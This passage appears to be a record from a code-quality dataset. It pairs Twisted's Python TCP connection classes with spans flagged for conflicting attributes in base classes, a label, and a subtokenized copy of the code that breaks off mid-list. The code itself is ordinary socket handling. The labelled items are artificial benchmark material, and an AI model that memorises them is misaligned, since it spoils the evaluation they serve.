self.reactor.callLater(0, self.connectionLost,\n failure.Failure(error.ConnectionAborted()))", "metadata": "root._AbortingMixin.abortConnection", "header": "['class', '_AbortingMixin', '(', 'object', ')', ':', '___EOS___']", "index": 141 }, { "content": "class Connection(_TLSConnectionMixin, abstract.FileDescriptor, _SocketCloser,\n _AbortingMixin):\n \"\"\"\n Superclass of all socket-based FileDescriptors.\n\n This is an abstract superclass of all objects which represent a TCP/IP\n connection based socket.\n\n @ivar logstr: prefix used when logging events related to this connection.\n @type logstr: C{str}\n \"\"\"\n implements(interfaces.ITCPTransport, interfaces.ISystemHandle)\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n logstr = \"Uninitialized\"\n\n\n\n\n", "metadata": "root.Connection", "header": "['module', '___EOS___']", "index": 159 }, { "content": " def __init__(self, skt, protocol, reactor=None):\n abstract.FileDescriptor.__init__(self, reactor=reactor)\n self.socket = skt\n self.socket.setblocking(0)\n self.fileno = skt.fileno\n self.protocol = protocol", "metadata": "root.Connection.__init__", "header": "['class', 'Connection', '(', '_TLSConnectionMixin', ',', 'abstract', '.', 'FileDescriptor', ',', '_SocketCloser', ',', '___NL___', '_AbortingMixin', ')', ':', '___EOS___']", "index": 173 }, { "content": " def getHandle(self):\n \"\"\"Return the socket for this connection.\"\"\"\n return self.socket", "metadata": "root.Connection.getHandle", "header": "['class', 'Connection', '(', '_TLSConnectionMixin', ',', 'abstract', '.', 'FileDescriptor', ',', '_SocketCloser', ',', '___NL___', '_AbortingMixin', ')', ':', '___EOS___']", "index": 181 }, { "content": " def doRead(self):\n \"\"\"Calls self.protocol.dataReceived with all available data.\n\n This reads up to self.bufferSize bytes of data from its socket, then\n calls self.dataReceived(data) to process it. If the connection is not\n lost through an error in the physical recv(), this function will return\n the result of the dataReceived call.\n \"\"\"\n try:\n data = self.socket.recv(self.bufferSize)\n except socket.error, se:\n if se.args[0] == EWOULDBLOCK:\n return\n else:\n return main.CONNECTION_LOST\n\n return self._dataReceived(data)", "metadata": "root.Connection.doRead", "header": "['class', 'Connection', '(', '_TLSConnectionMixin', ',', 'abstract', '.', 'FileDescriptor', ',', '_SocketCloser', ',', '___NL___', '_AbortingMixin', ')', ':', '___EOS___']", "index": 186 }, { "content": " def _dataReceived(self, data):\n if not data:\n return main.CONNECTION_DONE\n rval = self.protocol.dataReceived(data)\n if rval is not None:\n offender = self.protocol.dataReceived\n warningFormat = (\n 'Returning a value other than None from %(fqpn)s is '\n 'deprecated since %(version)s.')\n warningString = deprecate.getDeprecationWarningString(\n offender, versions.Version('Twisted', 11, 0, 0),\n format=warningFormat)\n deprecate.warnAboutFunction(offender, warningString)\n return rval", "metadata": "root.Connection._dataReceived", "header": "['class', 'Connection', '(', '_TLSConnectionMixin', ',', 'abstract', '.', 'FileDescriptor', ',', '_SocketCloser', ',', '___NL___', '_AbortingMixin', ')', ':', '___EOS___']", "index": 205 }, { "content": " def writeSomeData(self, data):\n \"\"\"\n Write as much as possible of the given data to this TCP connection.\n\n This sends up to C{self.SEND_LIMIT} bytes from C{data}. If the\n connection is lost, an exception is returned. Otherwise, the number\n of bytes successfully written is returned.\n \"\"\"\n # Limit length of buffer to try to send, because some OSes are too\n # stupid to do so themselves (ahem windows)\n limitedData = buffer(data, 0, self.SEND_LIMIT)\n\n try:\n return untilConcludes(self.socket.send, limitedData)\n except socket.error, se:\n if se.args[0] in (EWOULDBLOCK, ENOBUFS):\n return 0\n else:\n return main.CONNECTION_LOST", "metadata": "root.Connection.writeSomeData", "header": "['class', 'Connection', '(', '_TLSConnectionMixin', ',', 'abstract', '.', 'FileDescriptor', ',', '_SocketCloser', ',', '___NL___', '_AbortingMixin', ')', ':', '___EOS___']", "index": 221 }, { "content": " def _closeWriteConnection(self):\n try:\n getattr(self.socket, self._socketShutdownMethod)(1)\n except socket.error:\n pass\n p = interfaces.IHalfCloseableProtocol(self.protocol, None)\n if p:\n try:\n p.writeConnectionLost()\n except:\n f = failure.Failure()\n log.err()\n self.connectionLost(f)", "metadata": "root.Connection._closeWriteConnection", "header": "['class', 'Connection', '(', '_TLSConnectionMixin', ',', 'abstract', '.', 'FileDescriptor', ',', '_SocketCloser', ',', '___NL___', '_AbortingMixin', ')', ':', '___EOS___']", "index": 242 }, { "content": " def readConnectionLost(self, reason):\n p = interfaces.IHalfCloseableProtocol(self.protocol, None)\n if p:\n try:\n p.readConnectionLost()\n except:\n log.err()\n self.connectionLost(failure.Failure())\n else:\n self.connectionLost(reason)", "metadata": "root.Connection.readConnectionLost", "header": "['class', 'Connection', '(', '_TLSConnectionMixin', ',', 'abstract', '.', 'FileDescriptor', ',', '_SocketCloser', ',', '___NL___', '_AbortingMixin', ')', ':', '___EOS___']", "index": 257 }, { "content": " def connectionLost(self, reason):\n \"\"\"See abstract.FileDescriptor.connectionLost().\n \"\"\"\n # Make sure we're not called twice, which can happen e.g. if\n # abortConnection() is called from protocol's dataReceived and then\n # code immediately after throws an exception that reaches the\n # reactor. We can't rely on \"disconnected\" attribute for this check\n # since twisted.internet._oldtls does evil things to it:\n if not hasattr(self, \"socket\"):\n return\n abstract.FileDescriptor.connectionLost(self, reason)\n self._closeSocket(not reason.check(error.ConnectionAborted))\n protocol = self.protocol\n del self.protocol\n del self.socket\n del self.fileno\n protocol.connectionLost(reason)", "metadata": "root.Connection.connectionLost", "header": "['class', 'Connection', '(', '_TLSConnectionMixin', ',', 'abstract', '.', 'FileDescriptor', ',', '_SocketCloser', ',', '___NL___', '_AbortingMixin', ')', ':', '___EOS___']", "index": 270 }, { "content": " def logPrefix(self):\n \"\"\"Return the prefix to log with when I own the logging thread.\n \"\"\"\n return self.logstr", "metadata": "root.Connection.logPrefix", "header": "['class', 'Connection', '(', '_TLSConnectionMixin', ',', 'abstract', '.', 'FileDescriptor', ',', '_SocketCloser', ',', '___NL___', '_AbortingMixin', ')', ':', '___EOS___']", "index": 291 }, { "content": " def getTcpNoDelay(self):\n return operator.truth(self.socket.getsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY))", "metadata": "root.Connection.getTcpNoDelay", "header": "['class', 'Connection', '(', '_TLSConnectionMixin', ',', 'abstract', '.', 'FileDescriptor', ',', '_SocketCloser', ',', '___NL___', '_AbortingMixin', ')', ':', '___EOS___']", "index": 296 }, { "content": " def setTcpNoDelay(self, enabled):\n self.socket.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, enabled)", "metadata": "root.Connection.setTcpNoDelay", "header": "['class', 'Connection', '(', '_TLSConnectionMixin', ',', 'abstract', '.', 'FileDescriptor', ',', '_SocketCloser', ',', '___NL___', '_AbortingMixin', ')', ':', '___EOS___']", "index": 299 }, { "content": " def getTcpKeepAlive(self):\n return operator.truth(self.socket.getsockopt(socket.SOL_SOCKET,\n socket.SO_KEEPALIVE))", "metadata": "root.Connection.getTcpKeepAlive", "header": "['class', 'Connection', '(', '_TLSConnectionMixin', ',', 'abstract', '.', 'FileDescriptor', ',', '_SocketCloser', ',', '___NL___', '_AbortingMixin', ')', ':', '___EOS___']", "index": 302 }, { "content": " def setTcpKeepAlive(self, enabled):\n self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_KEEPALIVE, enabled)", "metadata": "root.Connection.setTcpKeepAlive", "header": "['class', 'Connection', '(', '_TLSConnectionMixin', ',', 'abstract', '.', 'FileDescriptor', ',', '_SocketCloser', ',', '___NL___', '_AbortingMixin', ')', ':', '___EOS___']", "index": 306 }, { "content": "class _BaseBaseClient(object):\n \"\"\"\n Code shared with other (non-POSIX) reactors for management of general\n outgoing connections.\n\n Requirements upon subclasses are documented as instance variables rather\n than abstract methods, in order to avoid MRO confusion, since this base is\n mixed in to unfortunately weird and distinctive multiple-inheritance\n hierarchies and many of these attributes are provided by peer classes\n rather than descendant classes in those hierarchies.\n\n @ivar addressFamily: The address family constant (C{socket.AF_INET},\n C{socket.AF_INET6}, C{socket.AF_UNIX}) of the underlying socket of this\n client connection.\n @type addressFamily: C{int}\n\n @ivar socketType: The socket type constant (C{socket.SOCK_STREAM} or\n C{socket.SOCK_DGRAM}) of the underlying socket.\n @type socketType: C{int}\n\n @ivar _requiresResolution: A flag indicating whether the address of this\n client will require name resolution. C{True} if the hostname of said\n address indicates a name that must be resolved by hostname lookup,\n C{False} if it indicates an IP address literal.\n @type _requiresResolution: C{bool}\n\n @cvar _commonConnection: Subclasses must provide this attribute, which\n indicates the L{Connection}-alike class to invoke C{__init__} and\n C{connectionLost} on.\n @type _commonConnection: C{type}\n\n @ivar _stopReadingAndWriting: Subclasses must implement in order to remove\n this transport from its reactor's notifications in response to a\n terminated connection attempt.\n @type _stopReadingAndWriting: 0-argument callable returning C{None}\n\n @ivar _closeSocket: Subclasses must implement in order to close the socket\n in response to a terminated connection attempt.\n @type _closeSocket: 1-argument callable; see L{_SocketCloser._closeSocket}\n\n @ivar _collectSocketDetails: Clean up references to the attached socket in\n its underlying OS resource (such as a file descriptor or file handle),\n as part of post connection-failure cleanup.\n @type _collectSocketDetails: 0-argument callable returning C{None}.\n\n @ivar reactor: The class pointed to by C{_commonConnection} should set this\n attribute in its constructor.\n @type reactor: L{twisted.internet.interfaces.IReactorTime},\n L{twisted.internet.interfaces.IReactorCore},\n L{twisted.internet.interfaces.IReactorFDSet}\n \"\"\"\n\n addressFamily = socket.AF_INET\n socketType = socket.SOCK_STREAM\n\n\n\n\n\n\n\n\n\n\n", "metadata": "root._BaseBaseClient", "header": "['module', '___EOS___']", "index": 312 }, { "content": " def _finishInit(self, whenDone, skt, error, reactor):\n \"\"\"\n Called by subclasses to continue to the stage of initialization where\n the socket connect attempt is made.\n\n @param whenDone: A 0-argument callable to invoke once the connection is\n set up. This is C{None} if the connection could not be prepared\n due to a previous error.\n\n @param skt: The socket object to use to perform the connection.\n @type skt: C{socket._socketobject}\n\n @param error: The error to fail the connection with.\n\n @param reactor: The reactor to use for this client.\n @type reactor: L{twisted.internet.interfaces.IReactorTime}\n \"\"\"\n if whenDone:\n self._commonConnection.__init__(self, skt, None, reactor)\n reactor.callLater(0, whenDone)\n else:\n reactor.callLater(0, self.failIfNotConnected, error)", "metadata": "root._BaseBaseClient._finishInit", "header": "['class', '_BaseBaseClient', '(', 'object', ')', ':', '___EOS___']", "index": 367 }, { "content": " def resolveAddress(self):\n \"\"\"\n Resolve the name that was passed to this L{_BaseBaseClient}, if\n necessary, and then move on to attempting the connection once an\n address has been determined. (The connection will be attempted\n immediately within this function if either name resolution can be\n synchronous or the address was an IP address literal.)\n\n @note: You don't want to call this method from outside, as it won't do\n anything useful; it's just part of the connection bootstrapping\n process. Also, although this method is on L{_BaseBaseClient} for\n historical reasons, it's not used anywhere except for L{Client}\n itself.\n\n @return: C{None}\n \"\"\"\n if self._requiresResolution:\n d = self.reactor.resolve(self.addr[0])\n d.addCallback(lambda n: (n,) + self.addr[1:])\n d.addCallbacks(self._setRealAddress, self.failIfNotConnected)\n else:\n self._setRealAddress(self.addr)", "metadata": "root._BaseBaseClient.resolveAddress", "header": "['class', '_BaseBaseClient', '(', 'object', ')', ':', '___EOS___']", "index": 391 }, { "content": " def _setRealAddress(self, address):\n \"\"\"\n Set the resolved address of this L{_BaseBaseClient} and initiate the\n connection attempt.\n\n @param address: Depending on whether this is an IPv4 or IPv6 connection\n attempt, a 2-tuple of C{(host, port)} or a 4-tuple of C{(host,\n port, flow, scope)}. At this point it is a fully resolved address,\n and the 'host' portion will always be an IP address, not a DNS\n name.\n \"\"\"\n self.realAddress = address\n self.doConnect()", "metadata": "root._BaseBaseClient._setRealAddress", "header": "['class', '_BaseBaseClient', '(', 'object', ')', ':', '___EOS___']", "index": 415 }, { "content": " def failIfNotConnected(self, err):\n \"\"\"\n Generic method called when the attemps to connect failed. It basically\n cleans everything it can: call connectionFailed, stop read and write,\n delete socket related members.\n \"\"\"\n if (self.connected or self.disconnected or\n not hasattr(self, \"connector\")):\n return\n\n self._stopReadingAndWriting()\n try:\n self._closeSocket(True)\n except AttributeError:\n pass\n else:\n self._collectSocketDetails()\n self.connector.connectionFailed(failure.Failure(err))\n del self.connector", "metadata": "root._BaseBaseClient.failIfNotConnected", "header": "['class', '_BaseBaseClient', '(', 'object', ')', ':', '___EOS___']", "index": 430 }, { "content": " def stopConnecting(self):\n \"\"\"\n If a connection attempt is still outstanding (i.e. no connection is\n yet established), immediately stop attempting to connect.\n \"\"\"\n self.failIfNotConnected(error.UserError())", "metadata": "root._BaseBaseClient.stopConnecting", "header": "['class', '_BaseBaseClient', '(', 'object', ')', ':', '___EOS___']", "index": 451 }, { "content": " def connectionLost(self, reason):\n \"\"\"\n Invoked by lower-level logic when it's time to clean the socket up.\n Depending on the state of the connection, either inform the attached\n L{Connector} that the connection attempt has failed, or inform the\n connected L{IProtocol} that the established connection has been lost.\n\n @param reason: the reason that the connection was terminated\n @type reason: L{Failure}\n \"\"\"\n if not self.connected:\n self.failIfNotConnected(error.ConnectError(string=reason))\n else:\n self._commonConnection.connectionLost(self, reason)\n self.connector.connectionLost(reason)", "metadata": "root._BaseBaseClient.connectionLost", "header": "['class', '_BaseBaseClient', '(', 'object', ')', ':', '___EOS___']", "index": 459 }, { "content": "class BaseClient(_BaseBaseClient, _TLSClientMixin, Connection):\n \"\"\"\n A base class for client TCP (and similiar) sockets.\n\n @ivar realAddress: The address object that will be used for socket.connect;\n this address is an address tuple (the number of elements dependent upon\n the address family) which does not contain any names which need to be\n resolved.\n @type realAddress: C{tuple}\n\n @ivar _base: L{Connection}, which is the base class of this class which has\n all of the useful file descriptor methods. This is used by\n L{_TLSServerMixin} to call the right methods to directly manipulate the\n transport, as is necessary for writing TLS-encrypted bytes (whereas\n those methods on L{Server} will go through another layer of TLS if it\n has been enabled).\n \"\"\"\n\n _base = Connection\n _commonConnection = Connection\n\n\n\n\n\n\n\n\n", "metadata": "root.BaseClient", "header": "['module', '___EOS___']", "index": 477 } ]
[ { "span": "class BaseClient(_BaseBaseClient, _TLSClientMixin, Connection):", "start_line": 477, "start_column": 0, "end_line": 477, "end_column": 63 } ]
[ { "span": "def connectionLost(self, reason):", "start_line": 270, "start_column": 4, "end_line": 270, "end_column": 37 }, { "span": "def connectionLost(self, reason):", "start_line": 459, "start_column": 4, "end_line": 459, "end_column": 37 } ]
1
false
[ "[CLS]_", "Confl", "ict", "ing_", "attributes_", "in_", "base_", "classes_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "class_", "\\u", "TLS", "Connect", "ion", "Mixin_", "(_", "object_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "TLS", "_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "\\u", "TLS", "Client", "Mixin_", "(_", "object_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "\\u", "Sock", "et", "Clos", "er_", "(_", "object_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\\u", "socket", "Shut", "down", "Method_", "=_", "'", "shut", "down", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "\\u", "Sock", "et", "Clos", "er_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "\\u", "close", "Socket_", "(_", "self_", ",_", "order", "ly_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "The", " ", "call", " ", "to", " ", "shut", "down", "()", " ", "bef", "ore", " ", "close", "()", " ", "isn", "'", "t", " ", "reall", "y", " ", "necessar", "y", ",", " ", "bec", "aus", "e_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "we", " ", "set", " ", "FD", "\\u", "CLO", "EXEC", " ", "now", ",", " ", "whi", "ch", " ", "will", " ", "ensure", " ", "this", " ", "is", " ", "the", " ", "only", " ", "process_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "holding", " ", "the", " ", "FD", ",", " ", "thu", "s", " ", "ens", "uri", "ng", " ", "close", "()", " ", "reall", "y", " ", "will", " ", "shut", "down", " ", "the", " ", "TCP_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "socket", ".", " ", "Ho", "we", "ver", ",", " ", "do", " ", "it", " ", "anyway", "s", ",", " ", "just", " ", "to", " ", "be", " ", "safe", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "sk", "t_", "=_", "self_", "._", "socket_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "order", "ly_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "self_", "._", "\\u", "socket", "Shut", "down", "Method_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "getattr_", "(_", "sk", "t_", ",_", "self_", "._", "\\u", "socket", "Shut", "down", "Method_", ")_", "(_", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Set", " ", "SO", "\\u", "LING", "ER", " ", "to", " ", "1", ",", "0", " ", "whi", "ch", ",", " ", "by", " ", "convention", ",", " ", "caus", "es", " ", "a_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "connecti", "on", " ", "reset", " ", "to", " ", "be", " ", "sent", " ", "whe", "n", " ", "close", " ", "is", " ", "call", "ed", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "inst", "ead", " ", "of", " ", "the", " ", "standard", " ", "FIN", " ", "shut", "down", " ", "sequence", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "socket_", "._", "setsockopt_", "(_", "socket_", "._", "SOL", "\\u", "SOCKET_", ",_", "socket_", "._", "SO", "\\u", "LING", "ER_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "struct_", "._", "pack_", "(_", "\"", "ii", "\"_", ",_", "1_", ",_", "0_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "socket_", "._", "error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "sk", "t_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "socket_", "._", "error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "\\u", "Abo", "rti", "ng", "Mixin_", "(_", "object_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Common", " ", "implementation", " ", "of", " ", "C", "{", "abort", "Connect", "ion", "}.", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "@", "ivar", " ", "\\u", "abort", "ing", ":", " ", "Set", " ", "to", " ", "C", "{", "Tru", "e", "}", " ", "whe", "n", " ", "C", "{", "abort", "Connect", "ion", "}", " ", "is", " ", "call", "ed", ".", "\\", "10", ";", " ", " ", " ", " ", "@", "type", " ", "\\u", "abort", "ing", ":", " ", "C", "{", "bool", "}", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "abort", "ing_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "\\u", "Abo", "rti", "ng", "Mixin_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "abort", "Connection_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Abo", "rts", " ", "the", " ", "connecti", "on", " ", "immediate", "ly", ",", " ", "drop", "ping", " ", "any", " ", "buffered", " ", "data", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "@", "sinc", "e", ":", " ", "11.", "1", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "disconnected", "_", "or_", "self_", "._", "\\u", "abort", "ing_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "\\u", "abort", "ing_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "stop", "Reading", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "stop", "Writ", "ing_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "do", "Read_", "=_", "lambda_", "*_", "args_", ",_", "**_", "kwargs_", ":_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "do", "Write_", "=_", "lambda_", "*_", "args_", ",_", "**_", "kwargs_", ":_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "reactor_", "._", "call", "Later_", "(_", "0_", ",_", "self_", "._", "connecti", "on", "Lost", "_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "failure_", "._", "Failure_", "(_", "error_", "._", "Connect", "ion", "Abo", "rted", "_", "(_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Connection_", "(_", "\\u", "TLS", "Connect", "ion", "Mixin_", ",_", "abstract_", "._", "File", "Descriptor_", ",_", "\\u", "Sock", "et", "Clos", "er_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\\u", "Abo", "rti", "ng", "Mixin_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Super", "class", " ", "of", " ", "all", " ", "socket", "-", "based", " ", "File", "Descrip", "tors", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Thi", "s", " ", "is", " ", "an", " ", "abstract", " ", "superclass", " ", "of", " ", "all", " ", "object", "s", " ", "whi", "ch", " ", "represent", " ", "a", " ", "TC", "P", "/", "IP", "\\", "10", ";", " ", " ", " ", " ", "connecti", "on", " ", "based", " ", "socket", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "@", "ivar", " ", "logst", "r", ":", " ", "prefix", " ", "used", " ", "whe", "n", " ", "logg", "ing", " ", "events", " ", "relate", "d", " ", "to", " ", "this", " ", "connecti", "on", ".", "\\", "10", ";", " ", " ", " ", " ", "@", "type", " ", "logst", "r", ":", " ", "C", "{", "str", "}", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "implements_", "(_", "interfaces_", "._", "IT", "CP", "Transport_", ",_", "interfaces_", "._", "IS", "yste", "m", "Handle_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "logst", "r_", "=_", "\"", "Unin", "itialized", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Connection_", "(_", "\\u", "TLS", "Connect", "ion", "Mixin_", ",_", "abstract_", "._", "File", "Descriptor_", ",_", "\\u", "Sock", "et", "Clos", "er_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\\u", "Abo", "rti", "ng", "Mixin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "sk", "t_", ",_", "protocol_", ",_", "reactor_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "abstract_", "._", "File", "Descriptor_", "._", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "reactor_", "=_", "reactor_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "socket_", "=_", "sk", "t_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "socket_", "._", "setb", "locking_", "(_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "fileno_", "=_", "sk", "t_", "._", "fileno_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "protocol_", "=_", "protocol_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Connection_", "(_", "\\u", "TLS", "Connect", "ion", "Mixin_", ",_", "abstract_", "._", "File", "Descriptor_", ",_", "\\u", "Sock", "et", "Clos", "er_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\\u", "Abo", "rti", "ng", "Mixin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "Handle_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Return", " ", "the", " ", "socket", " ", "for", " ", "this", " ", "connecti", "on", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "self_", "._", "socket_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Connection_", "(_", "\\u", "TLS", "Connect", "ion", "Mixin_", ",_", "abstract_", "._", "File", "Descriptor_", ",_", "\\u", "Sock", "et", "Clos", "er_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\\u", "Abo", "rti", "ng", "Mixin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "do", 